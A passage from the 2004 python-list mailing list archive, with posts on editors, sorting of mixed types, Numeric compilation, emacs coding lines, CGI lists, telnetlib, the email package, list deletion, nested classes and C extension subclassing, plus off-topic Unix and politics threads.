> >> > In article <aN2Zc.10226$QJ3.5466 at newssvr21.news.prodigy.com>,
> >> >    red floyd <no.spam at here.dude> wrote:
> >> >
> >> >>CBFalconer wrote:
> >> >>
> >> >>
> >> >>>Dump Notepad and get Textpad.  www.textpad.com.  First class.
> >> >>>
> >> >>
> >> >>Let the editor flame wars begin!
> >> >>
> >> >>Get gvim!  www.vim.org
> >> > You think notepad is an editor?  <snort>  You must be young
> >> > and inexperienced in the ways of Real Man's Editing sports.
> >> >
> >> My choice? Definitely TECO, a real programmable editor from the
> >> TOPS10 days.
> >> 
> >> It would create a file if invoked by the "make" command. If you
> >> typed "make love" it would respond with "...not war?" before
> >> beginning the edit.
> >
> >But can it quote Zippy the Pinhead?
> 
> Who?

http://www.zippythepinhead.com/

If you're runnning emacs, you can get a quote from him with M-X yow

Not exactly a typical editor function, agreed. I was feeling a little
whimsical at the time.

Joe
-- 
If you don't think too good, don't think too much
  - Ted Williams


From fumanchu at amor.org  Tue Sep 21 14:25:49 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 21 Sep 2004 11:25:49 -0700
Subject: Python 3.0, rich comparisons and sorting order
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF6@exchange.hqamor.amorhq.net>

Carlos Ribeiro wrote:
> On Tue, 21 Sep 2004 17:24:48 +0000 (UTC), Steven Bethard
> <steven.bethard at gmail.com> wrote:
> > Could you give an example of a list that you'd like to do 
> this to?  I'm still
> > having trouble imagining a list of disparate types that I 
> call sort on...
> 
> Assume that you're implementing a spreadsheet like application in
> Python. The user fills a column with arbitrary data, and asks for it
> to be sorted. What is the sorting order? Excel, for instance, defines
> an ordering (it's arbitrary, but it's deterministic).

...which should tell you it's application-specific, and shouldn't be in
the core. "In the face of ambiguity, refuse the temptation to guess."


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From hbostic at santeecooper.com  Fri Sep 24 14:14:27 2004
From: hbostic at santeecooper.com (Unixtrekkor)
Date: 24 Sep 2004 11:14:27 -0700
Subject: Trouble compiling numeric module on TRU64 UNIX
Message-ID: <3035f851.0409241014.1434adff@posting.google.com>

I am unable to successfully compile Numeric 23-3.3.  I running python
2.3.4.  Running python setup.py install yields the following error:

running install
running build
running build_py
running build_ext
building 'lapack_lite -I ./Include Src/lapack_litemodule.c' extension
creating /Include Src
creating /Include Src/lapack_litemodule
ld -shared -expect_unresolved *
build/temp.osf1-V4.0-alpha-2.3/Src/lapack_litemodule.o
-L/usr/lib/atlas -llapack -lcblas -lf77blas -latlas -lg2c -o /Include
Src/lapack_litemodule/c.so
ld:
Can't locate file for: -llapack
error: command 'ld' failed with exit status 1

Any help will be appreciated as I am not knowledgeable of C.  Thanks
for your time.


From onurb at xiludom.gro  Tue Sep 21 15:03:02 2004
From: onurb at xiludom.gro (bruno modulix)
Date: Tue, 21 Sep 2004 21:03:02 +0200
Subject: python ides
In-Reply-To: <mailman.3662.1095789622.5135.python-list@python.org>
References: <cip735$e01$1@sea.gmane.org>
	<mailman.3662.1095789622.5135.python-list@python.org>
Message-ID: <41507c8f$0$25693$636a15ce@news.free.fr>

kevin a ?crit :
> I am not talking about this ide being the nicest looking, or its drag and
> drop features for building guis (it doesnt have) , or some other superfluos
> feature that some people hate about a tipical ide. 
> 
> I am talking about pure functionality we all want, 
> advanced debugging ,
> inline object information , 
>fast proyect development,etc.

"Proyect" ? Seems like our friend the troll Julio has changed its skin...


From john at grulic.org.ar  Fri Sep  3 13:03:22 2004
From: john at grulic.org.ar (John Lenton)
Date: Fri, 3 Sep 2004 14:03:22 -0300
Subject: Combining mode and encoding in emacs
In-Reply-To: <slrncjh719.bs2.mlh@furu.idi.ntnu.no>
References: <slrncjh719.bs2.mlh@furu.idi.ntnu.no>
Message-ID: <20040903170322.GB8534@grulic.org.ar>

On Fri, Sep 03, 2004 at 04:30:33PM +0000, Magnus Lie Hetland wrote:
> If I want to specify both mode and source encoding using the
> 
>   -*- FOO -*-
> 
> syntax in emacs -- how can I do that? Both insist on being on the
> second line of the file, yet I have found no way of combining them.
> That is, the following doesn't work properly (not in all emaxen, at
> least):
> 
>   #!/usr/bin/env python
>   # -*- encoding: iso-8859-1 -*-
>   # -*- python -*-
> 
> If I switch the two, Python doesn't get the encoding. (I need to
> specify the mode, because the file has a '.cgi' ending.)

what I do is

   # -*- python -*- coding: iso-8859-1 -*-

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
La sociedad moderna olvida que el mundo no es propiedad de una ?nica
generaci?n.
		-- Oskar Kokoshka. 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040903/dfa44947/attachment.sig>

From fumanchu at amor.org  Sat Sep  4 14:57:49 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sat, 4 Sep 2004 11:57:49 -0700
Subject: POST method, CGI and file transfer
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EBA@exchange.hqamor.amorhq.net>

Michael Foord wrote:
> Another http question.
> First one is simple - if a POST is made *to* a CGI with file uplaods
> then you can get a FieldStorage with list values - each entry in the
> list being a file. Two questions about this :
> 1) Is this the only situation you'll get list values posted to a CGI ?
> If you have a list value in your FieldStorage instance can you be sure
> that it's files ?

If I understand your question correctly, the answer is no. Regardless of
whether you use GET or POST, you can submit something like
"/script.cgi?value=1&value=2&value=3" and expect a list: value = [1, 2,
3]. This behavior was around long before file uploads. ;)


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org 


From nobody at nowhere.com  Thu Sep 23 16:27:20 2004
From: nobody at nowhere.com (Yannick Turgeon)
Date: Thu, 23 Sep 2004 16:27:20 -0400
Subject: telnetlib close not closing sockets
References: <ab19b1e4.0409221437.573b3018@posting.google.com>
	<nwn4d.19601$pA.1328640@news20.bellglobal.com>
	<ab19b1e4.0409231130.6d1e1b7e@posting.google.com>
Message-ID: <okG4d.28703$bL1.1119138@news20.bellglobal.com>

Mike,

Concerning you "expect()" problem (which is very similar to read_until())
Probably that it's working for 1, 2, 3 commands... but after a couple more
it's no more working? Is that your situation? I'll tell you a terrible
secret: Window's telnet is not sending you back only your command result.

You should read this post before working any harder:
http://groups.google.ca/groups?selm=RUSQc.43590%24Jq2.1867410%40news20.bellg
lobal.com

The solution:

If you're facing this, you'll have to use a Telnet Program using
"stream-mode". I'm not sure Windows' Telnet can do this. After long hours
searching what was happening, to finally find it was caused by Windows'
Telnet not respecting Telnet Protocol, my company bougth "Pragma
TelnetServer" and all my telnetlib problem finally went away. I learned
afterward about "stream-mode" so I don't know if Windows' Telnet offer this.

Really hope this help.

Yannick


"Mike Monaghan" <junkmail at chipworks.net> wrote in message
news:ab19b1e4.0409231130.6d1e1b7e at posting.google.com...
> I do have a problem with an expect, but I'm 99% sure a control
> character in the stream is missing from my expect statement because
> some of the strings are being detected.  I'm going to play with it
> again tonight.




From carribeiro at gmail.com  Tue Sep  7 19:42:35 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 7 Sep 2004 20:42:35 -0300
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <Jvo%c.214562$OR2.9955162@news3.tin.it>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
	<CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com>
	<mailman.2907.1094416926.5135.python-list@python.org>
	<1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com>
	<Jvo%c.214562$OR2.9955162@news3.tin.it>
Message-ID: <864d370904090716423ed646e5@mail.gmail.com>

On Tue, 07 Sep 2004 20:04:57 GMT, Anna Martelli Ravenscroft
<anna at aleax.it> wrote:
> I *guess* I had thought of it, if at all, as something similar to
> int('2') or float(2). They're useful, but only in very limited specific
> cases. I would have expected list('cat') to force a list out of the
> string. Just like int() or float() and, well, that's it. That's as far
> as I would have thought of it as being useful...

Extending your reasoning a little bit, list(anything) smells a
typecast -- something that's used to convert a variable of one type
into a variable of another type. But a generator can't be "typecast"
in my mental model -- it`s not a variable. It is a "program" that
returns a sequence of values that have to be processed somehow. On the
other hand, [x for x in generator()] reads as a description of what is
getting done -- an algorithm of sorts -- and then it comes up as a
natural solution for the problem.

Now I'll admit my ignorance and say that I didn't had the slightest
idea about what do generator expressions meant until now. I just read
the PEP, and it`s neat -- but I havent time to figure out the impact
(remember, I was out of the list over the past year and half :-)

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From cjblaine at gmail.com  Sun Sep 19 10:39:27 2004
From: cjblaine at gmail.com (Jeff Blaine)
Date: Sun, 19 Sep 2004 14:39:27 GMT
Subject: Cannot get email package to work
In-Reply-To: <mailman.3501.1095594391.5135.python-list@python.org>
References: <SWI2d.1783$wV.1727@attbi_s54> <ws23d.196270$4o.164504@fed1read01>
	<mailman.3501.1095594391.5135.python-list@python.org>
Message-ID: <zSg3d.10410$wV.3107@attbi_s54>

I figured it out after trying again (and it worked).  I believe I had
done the following in my interpreter:

 >>> import email
 >>> myfd = open('c:/temp/my-work.eml')
 >>> email.message_from_file(myfd)
<email.Message.Message instance at 0x00A799E0>     <-- oops, forgot to assign
 >>> msg = email.message_from_file(myfd)            <-- now this is broken
 >>> msg.keys()
[]
 >>> msg.get_all('From')
 >>>

It works though if you do it right the first time.  Thanks for the prodding.

 >>> newfd = open("C:/temp/my-work.eml", 'r')
 >>> newmsg = email.message_from_file(newfd)
 >>> newmsg.keys()
['Return-Path', 'Delivered-To', 'Received', 'Received', 'Received', 
'Message-ID', 'Date', 'From', 'User-Agent', 'X-Accept-Language', 
'MIME-Version', 'To', 'Subject', 'Content-Type', 'Content-Transfer-Encoding']
 >>>


Heiko Wundram wrote:

> Am Sonntag, 19. September 2004 00:12 schrieb Steve Holden:
> 
>>Under Windows Python 2.3.3 (#51, Dec 18 2003, 20:22:39), however, I see
>>
>> >>> fd=file("C:\\cygwin\\tmp\\test.eml")
>> >>> msg =- email.message_from_file(fd)
>>
>>Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>>AttributeError: Message instance has no attribute '__neg__'
> 
> 
> ---> Typo, should be msg = email.message_from_file(fd)
> 
> So, I guess it does work under windows. ;)
> 
> Heiko.


From peter at engcorp.com  Wed Sep  1 12:06:03 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Sep 2004 12:06:03 -0400
Subject: I've seen things you people wouldn't believe... ;-) (was Re:
 age of Python programmers)
In-Reply-To: <Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu>
References: <20040819231139.D039A1E4003@bag.python.org>
	<mailman.1999.1092969866.5135.python-list@python.org>
	<eyqWc.223375$j62.10948731@phobos.telenet-ops.be>
	<qVAWc.2328$MR2.9560@news1.mts.net>
	<njemi0hrm3jb1kdc8mhg8krd9a4qu3e894@4ax.com>
	<896dnZfdH8-l1rbcRVn-qw@powergate.ca>
	<Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu>
Message-ID: <jtydnVikdo3wbqjcRVn-ug@powergate.ca>

Christopher T King wrote:

> On Tue, 24 Aug 2004, Peter Hansen wrote:
>>Andrea Griffini wrote:
>>>I've seen things you people wouldn't believe... ;-)
>>How many could post stories of companies without
>>any form of revision control, except perhaps those
>>printouts in Winnifred's bottom drawer from last year?
> 
> I certainly could.
> 
>>Or people who resorted to print statements during
> 
> Hey, print statements are a perfectly valid form of debugging! :)

For the record, I agree and have used them in many instances, but
in the full context of what I wrote they were clearly inappropriate.

-Peter


From cbfalconer at yahoo.com  Fri Sep  3 01:03:36 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Fri, 03 Sep 2004 05:03:36 GMT
Subject: Xah Lee's Unixism
References: <41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<slrncjf52a.oa.amajorel@vulcain.knox.com>
	<opsdp09czgpqzri1@mjolner.upc.no>
	<h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com>
Message-ID: <4137F99C.FA48E44A@yahoo.com>

Alan Balmer wrote:
> <john.thingstad at chello.no> wrote:
> 
>> well documented at the time. Linux Pauling started out with minix
>> and then went on to make a (mostly) posix compliant unix.
> 
> Linux Pauling? I know about Linus Torvalds and Linus Pauling . I
> don't think the latter had much to do with Linux.

This has to do with the well known metamorphosis of the common
cold into an OS when treated with large doses of vitamin C.  Those
viruses are smart.

-- 
 "A man who is right every time is not likely to do very much."
                           -- Francis Crick, co-discover of DNA
 "There is nothing more amazing than stupidity in action."
                                             -- Thomas Matthews




From jmfbahciv at aol.com  Sun Sep 12 07:49:48 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Sun, 12 Sep 04 11:49:48 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
Message-ID: <41444b11$0$6932$61fed72c@news.rcn.com>

In article <1549.748T655T9283520 at kltpzyxm.invalid>,
   "Charlie Gibbs" <cgibbs at kltpzyxm.invalid> wrote:
>In article <opsd2vlvy7pqzri1 at mjolner.upc.no>, john.thingstad at chello.no
>(John Thingstad) writes:
>
>>On Thu, 09 Sep 04 13:12:17 GMT, <jmfbahciv at aol.com> wrote:
>>
>>> I really want to know.  People keep saying this but never say which
>>> freedoms have been lost.
>>
>>Since this is somewhat related to computer programming and AI I will
>>reply.
>>
>>The US has started a initiative to integrate all information about
>>people in the USA into a central database.
>
>Not just people in the USA.
>
>>This includes confidential information like your medical files.
>
><snip>
>
>>The main challenge in computing is sieving through the amount of data.
>>Politically it is to pressure the foreign governments to wave their
>>privacy protection acts and allow unlimited access to information to
>>a foreign power.
>
>It's been revealed that here in British Columbia (that part of
>Canada on the Pacific coast for those of you who are geographically
>challenged), management of medical information has been farmed out
>to a subsidiary of a U.S. corporation.

I'll bet one of your pennies that the subsidiary has farmed it
back out of the country.

> ..  According to the Patriot Act,
>the U.S. government is entitled to access these files, and anyone -
>American or Canadian - who so much as mentions that they're doing it
>can be thrown into a U.S. jail.

[emoticon daydreams about certain talking heads getting caught]

>
>>Don't know what you think of this but it scares the hell out of me!
>
>Me too.

Sure.  But the whole thing becomes moot if western civ is gone.
There are other things getting put into law and custom by 
politicians that are even scarier but there won't be any chance
of rectifying rabid Republican brain damage if there isn't
any civ left.

/BAH


Subtract a hundred and four for e-mail.


From ipmonger at comcast.net  Sun Sep  5 20:30:03 2004
From: ipmonger at comcast.net (Jon Boone)
Date: Sun, 05 Sep 2004 20:30:03 -0400
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<41371e5c$0$19723$61fed72c@news.rcn.com>
	<20040904.2231.57679snz@dsl.co.uk>
	<413af268$0$19706$61fed72c@news.rcn.com>
Message-ID: <BD6127CB.220DF%ipmonger@comcast.net>

On 2004-09-05 05:42, in article 413af268$0$19706$61fed72c at news.rcn.com,
"jmfbahciv at aol.com" <jmfbahciv at aol.com> wrote:

> Sigh!  If CMU had it, I would have assumed it got hornshoed into
> VMS.
> 
>> ..or
>> Wollongong universities.  Then, of course, there was what many regarded
>> as the best TCP/IP stack for VMS, MultiNet from TGV (Two Guys and a VAX).
>> That product also included a working NFS implementation.

  By the late 1980s and early 1990s, the remaining VMS machines at CMU
seemed to mostly run TGV MultiNet, which was an absolutely awesome TCP/IP
implementation.  All of the VMS admins I had contact with (I had to admin a
single VMS machine) seemed to use MultiNet.

--jon



From adalke at mindspring.com  Tue Sep 21 16:01:10 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 21 Sep 2004 20:01:10 GMT
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <mailman.3663.1095790072.5135.python-list@python.org>
References: <864d370904092109509df67ee@mail.gmail.com>	<loom.20040921T192348-961@post.gmane.org>
	<mailman.3663.1095790072.5135.python-list@python.org>
Message-ID: <aM%3d.1680$g42.1211@newsread3.news.pas.earthlink.net>

Carlos Ribeiro suggested the following as a use case for
requiring that any two Python objects be compare-able:
> Assume that you're implementing a spreadsheet like application in
> Python. The user fills a column with arbitrary data, and asks for it
> to be sorted. What is the sorting order? Excel, for instance, defines
> an ordering (it's arbitrary, but it's deterministic).

In that case they most likely have a CellData object which
can be compared with other CellData objects.  To the list
it's a bunch of homogenous objects.

To sort then either the CellData objects define how to
compare two of themselves, or there's a way to generate
a value which used as the sort key.

> sort() should work regardless of the list elements, and return a
> reasonable result, even if not strictly correct in the numerical
> sense.

L = [open("/etc/passwd"), {"A": 1}, urllib.urlopen("http://python.org"),
       IOException(), Tkinter.Toplevel(), PIL.Image.open("my.jpg")]

L.sort()

What's a reasonable sort here?

All solutions eventually end up comparing object ids when
everything else fails.  But that breaks another reasonable
argument which is that

L1 = [ .. some list with items that can't be compared .. ]
L1.sort()
L2 = pickle.loads(pickle.dumps(L1))
L2.sort()
assert L1 == L2

This doesn't work because the reconstituted list will
have different object ids, which might be in a different order.

What should this do?

class NoCompare:
   def __cmp__(self, other): raise SystemExit("no compare")
   __lt__ = __gt__ = __eq__ = __neq__ = .... = __cmp

L3 = [NoCompare(), NoCompare(), NoCompare()]
L3.sort()



> The set, in this particular case,
> is a Python list, that *can* contain arbitrary data. So it does not
> make sense (in my not-so-humble opinion) for sort to impose
> restrictions based on the list element type.

By that definition you require that all other list methods
can work on all data.  Consider

 >>> class NoCompare:
...   def __eq__(self, other): raise AssertionError("no compare")
...
 >>> L = [1, 3, NoCompare(), 5]
 >>> 3 in L
True
 >>> 5 in L
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "<stdin>", line 2, in __eq__
AssertionError: no compare
 >>>

the "__contains__" method imposes a restriction that types
can be compared for equality.


> (BTW, if we extend this reasoning, the same could be said for other
> types of functions that work over sets -- sum() should ignore
> non-numeric values, etc. But that's another philosophical battle)

I think my example is more relevant.  Sum() explicitly
says it only works on numeric types and gives justification
for why that choice was made.

				Andrew
				dalke at dalkescientific.com


From ialbert at mailblocks.com  Tue Sep 21 08:48:06 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Tue, 21 Sep 2004 08:48:06 -0400
Subject: Why not FP for Money?
In-Reply-To: <cc887c1d.0409202325.76ec2227@posting.google.com>
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
Message-ID: <pKadncbXTtWZvs3cRVn-pg@giganews.com>

Chris Barker wrote:

> I understand that when your numbers got large enough, you'd start to
> lose the pennies, 

FP rounding errors have less to do with the *size* of the value
rather than the number of operations that are performed.

> What am I missing here?

The money.

Or, equally likely, someone willing to pay the missing amounts.

Istvan.



From mwilson at the-wire.com  Wed Sep  8 08:08:29 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Wed, 08 Sep 2004 08:08:29 -0400
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<mailman.3029.1094638477.5135.python-list@python.org>
Message-ID: <9YvPBls/KvrF089yn@the-wire.com>

In article <mailman.3029.1094638477.5135.python-list at python.org>,
Egbert Bouwman <egbert.list at hccnet.nl> wrote:
>On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote:
>> I was trying to take a list of files in a directory and remove all but the ".dbf" files.  I used the following to try to remove the items, but they would not remove.  Any help would be greatly appreciated.
>>
>> x = 0
>> for each in _dbases:
>>     if each[-4:] <> ".dbf":
>>             del each            # also tried:   del _dbases[x]
>>     x = x + 1
>>
>> I must be doing something wrong, but it acts as though it is....
>>
>The answers you received don't tell you what you are doing wrong.
>If you replace 'del each' with 'print each' it works,
>so it seems that you can not delete elements of a list you are
>looping over. But I would like to know more about it as well.

   One use of `del` is to remove a name from a namespace,
and that's what it's doing here:  removing the name 'each'.

   A paraphrase of what's going on is:

        for i in xrange (len (_dbases)):
            each = _dbases[i]
            if each[-4:] <> ".dbf":
                del each

and we happily throw away the name 'each' without touching
the item in the list.

   The way to remove items from a list is (untested code):

        for i in xrange (len (a_list)-1, -1, -1):
            if i_want_to_remove (a_list[i]):
                del a_list[i]

Going through the list backwards means that deleting an item
doesn't change the index numbers of items we've yet to
process.  `del a_list[i]` removes from the list the
reference to the object that was the i'th item in the list
(under the hood, a Python list is implemented as an array of
references.)

   This is one reason list comprehensions became popular so
fast.

        Regards.        Mel.


From keir at mooncode.com  Wed Sep  8 16:36:59 2004
From: keir at mooncode.com (keirr)
Date: 8 Sep 2004 13:36:59 -0700
Subject: tuples allocated by formated print ?
Message-ID: <chnqhb$ttt@odak26.prod.google.com>

Alexander Hoffmann wrote:
> On Wednesday 08 September 2004 17:12, Jp Calderone wrote:
> > Alexander Hoffmann wrote:
<snip>
> two facts tell me that there is something wrong:
>  1. They contain personal data (for example concerning my example
from above,
> I find a tuple like ("alex", ).

I think you will see this if the tuples are inside functions, or other
persistant objects.

>  2. I have my program running on my workstation and it's size in
memory
> slightly increases over time.

It would be foolish of me to try and deduce too much from that, even
if I speculated as to how much time, and how slight the increase was.
Perhaps you could extract any suspect blocks of code and create a
harness
to run them repeatedly, looking for a clear indication of a memory
leak.

All the best,

 Keir.



From john at grulic.org.ar  Sat Sep 11 08:50:33 2004
From: john at grulic.org.ar (John Lenton)
Date: Sat, 11 Sep 2004 09:50:33 -0300
Subject: Nested class structures
In-Reply-To: <Xns9560B1CD8670OKB@130.133.1.4>
References: <Xns95607B54E1208OKB@130.133.1.4>
	<WPSdnS4yN4xs3t_cRVn-jw@comcast.com>
	<Xns9560B1CD8670OKB@130.133.1.4>
Message-ID: <20040911125033.GA19369@grulic.org.ar>

On Sat, Sep 11, 2004 at 12:28:44AM +0000, OKB (not okblacke) wrote:
>     	Yeah, sorry, I should have been a little more clear.  Anyway, it's 
> important that these be actual class definitions, because I want the 
> ability to include per-class methods and stuff.  So I don't really want 
> a bunch of identical anonymous classes.  I want something like:
> 
> class class1:
>     	class anon:
>     	    	def meth1(self): print "meth1"
>    	class anon:
>     	    	def meth1(self): print "different meth1"
>     	class anon:
>     	    	def meth1(self): print "another meth1"
> 
>     	This is why I want to define the classes inline, nested in the 
> other class.  I'm trying to leverage the syntactic structure of class 
> definitions to get nested structures of code.  It's somewhat akin to
> 
> a = { 'one': 1,
>     	'nested': { 'two': 2, 'three': 3,
>     	    	'nestnest': { 'four': 4, 'five': 5 }
>     	}
>     	'othernest': { 'six': 6 }
>     }
> 
>     	. . . except that I want the ability to include arbitrary python 
> code where I have 1, 2, 3 there (as dictionary values).  As far as 
> I can tell, Python doesn't provide a way to define code as part of 
> a larger expression like this, except in a class definition.

Two things. First, I don't understand (you don't explain) your
requirement for the classes to be 'anonymous'; the example in the dict
can be made easily, with

    class a:
      one = 1
      class nested:
        two = 2
        three = 3
        class nestnest:
    .
    .
    .


but obviously there's something more to it.

Second, a class is an object like any other; you can include it in a
dictionary (that's all a nested class is doing, really, with some
sugar to get at it in convenient ways), push it into a list,
whatever. They're even hashable, so you can use them as dictionary
keys.


-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
Don't tell any big lies today.  Small ones can be just as effective.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040911/fcdd0943/attachment.sig>

From porky_pig_jr at my-deja.com  Thu Sep  2 21:45:33 2004
From: porky_pig_jr at my-deja.com (Porky Pig Jr)
Date: 2 Sep 2004 18:45:33 -0700
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu>
Message-ID: <56cfb0e3.0409021745.712d2f6d@posting.google.com>

Christopher T King <squirrel at WPI.EDU> wrote in message news:<Pine.LNX.4.44.0409012156390.29696-100000 at ccc4.wpi.edu>...
> This is a common newbie trap.  The reason is that default arguments are 
> only evaluated once; any changes you make to the list will be reflected in 
> the default argument.
> 

Say Chris, are you trying to bit some 'random BS generator' with
another 'random Python answers' generator?


From iker at research.att.com  Tue Sep 14 18:30:08 2004
From: iker at research.att.com (Iker Arizmendi)
Date: Tue, 14 Sep 2004 22:30:08 GMT
Subject: Subclassing in C
In-Reply-To: <41475057.1080604@research.att.com>
References: <I4057u.3Er@research.att.com>
	<m31xh59i9h.fsf@pc150.maths.bris.ac.uk>
	<41470D3A.1040206@research.att.com>
	<m3vfeg965o.fsf@pc150.maths.bris.ac.uk>
	<41473FCF.5000706@research.att.com>
	<41475057.1080604@research.att.com>
Message-ID: <I41yoD.Arn@research.att.com>

After some more poking around I think I've found a solution
to my problem. But although it works, it doesn't look like
the right way to do things.

In short, I updated the tp_getattro method of my subclass to
explicitly check its base class for the presence of any
attributes it doesn't know about. Eg.

    static PyObject*
    PyGrm_GetAttro(PyObject *obj, PyObject* name)
    {
       PyObject* r = Py_FindMethod(PyGrmReplace_methods, obj,
                                   PyString_AsString(name));
        if( PyErr_Occurred() )
        {
            if( PyErr_ExceptionMatches(PyExc_AttributeError) )
            {
                PyErr_Clear();
                PyTypeObject* t = obj->ob_type;
                return t->tp_base->tp_getattro(obj, name);
            }
        }
        return r;
    }

Again, in this case this works just fine as I know I'm only
interested in the one base class. But if I had a deeper
inheritance hierarchy I would have to do the lookup
across each base class myself.


Regards,
Iker


Iker Arizmendi wrote:
> After placing a printf statement in both of these methods
> 
>     fsmpy_getattro
>     PyGrm_GetAttro
> 
> I notice that when calling the "type" method of my
> subclass like so:
> 
>     g = grm.GrmReplace(...)
>     print g.type()
> 
> only the PyGrm_GetAttro method is called. I expected
> that the call to Py_FindMethod would eventually call
> fsmpy_getattro since my subclass doesn't have a method
> called "type" (here the "type" method has nothing to do
> with Python types, it's just what we happen to call
> one of our methods).
> 
> 
> Regards,
> Iker
> 
> 
> Iker Arizmendi wrote:
> 
>> Michael Hudson wrote:
>>
>>> Iker Arizmendi <iker at research.att.com> writes:
>>>
>>>> (*) The class I'm deriving from is defined in another
>>>> extension module and it has its own tp_getattr method.
>>>
>>>
>>>
>>>
>>> Hmm.  I take it *it's* tp_getattr[o] method isn't
>>> PyObject_GenericGetAttr then?
>>>
>>> Then your initial post makes more sense; I'm afraid I don't see
>>> any obvious reason for PyObject_GenericGetAttr to crash.
>>
>>
>>
>> Ah! I missed the trailing 'o' and set tp_getattr, not
>> tp_getattro as you suggested. However, after setting it
>> correctly (I think), things still don't behave as I would
>> expect (eg, the subclass has the union of its methods and
>> the base class methods). The complete code is pretty long
>> so I'm not sure I can post it (most of it deals with non
>> Python stuff) - but here's a more complete piece that
>> relates to setting up the classes.
>>
>> The base class (defined in a separated module) looks
>> like so:
>>
>>     static PyMethodDef fsmpymethods[] =
>>     {
>>        {
>>          "type", (PyCFunction) fsmpytype,
>>           METH_NOARGS,
>>           "type() -> string\n\nReturn FSM type."
>>        },
>>        ...
>>        {
>>            NULL, NULL, 0, NULL
>>        }
>>     };
>>
>>     static PyObject*
>>     fsmpy_getattro(PyObject *obj, PyObject* name)
>>     {
>>         return Py_FindMethod(fsmpymethods, obj,
>>                              PyString_AsString(name));
>>     }
>>
>>     PyTypeObject FSMPyType =
>>     {
>>        PyObject_HEAD_INIT(NULL)
>>        0,
>>        "fsm.Fsm",
>>        sizeof(FSMPyObject),
>>        0,
>>        fsmpy_dealloc,                             /*tp_dealloc*/
>>        0,                                         /*tp_print*/
>>        0,                                         /*tp_getattr*/
>>        0,                                         /*tp_setattr*/
>>        fsmpy_getattro,                            /*tp_getattro*/
>>        ...
>>        0,                                         /*tp_setattro*/
>>        0,                                         /*tp_as_buffer*/
>>        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,  /*tp_flags*/
>>     ...
>>     };
>>
>> The base class doesn't have a new or init method as the author
>> provides an explicit "create" method.
>>
>> The subclass that I've put together now looks like so (note
>> that I now use the tp_getattro method, and cleared both
>> tp_methods and tp_members):
>>
>>    static PyMethodDef PyGrmReplace_methods[] =
>>    {
>>        {
>>           "mutate", (PyCFunction)PyGrmReplace_mutate,
>>           METH_VARARGS|METH_KEYWORDS,
>>           "mutate(fsm1 [, mode]) -> fsm\n"
>>        },
>>        ...
>>        {NULL}
>>    };
>>
>>    static PyObject*
>>    PyGrm_GetAttro(PyObject *obj, PyObject* name)
>>    {
>>       return Py_FindMethod(PyGrmReplace_methods, obj,
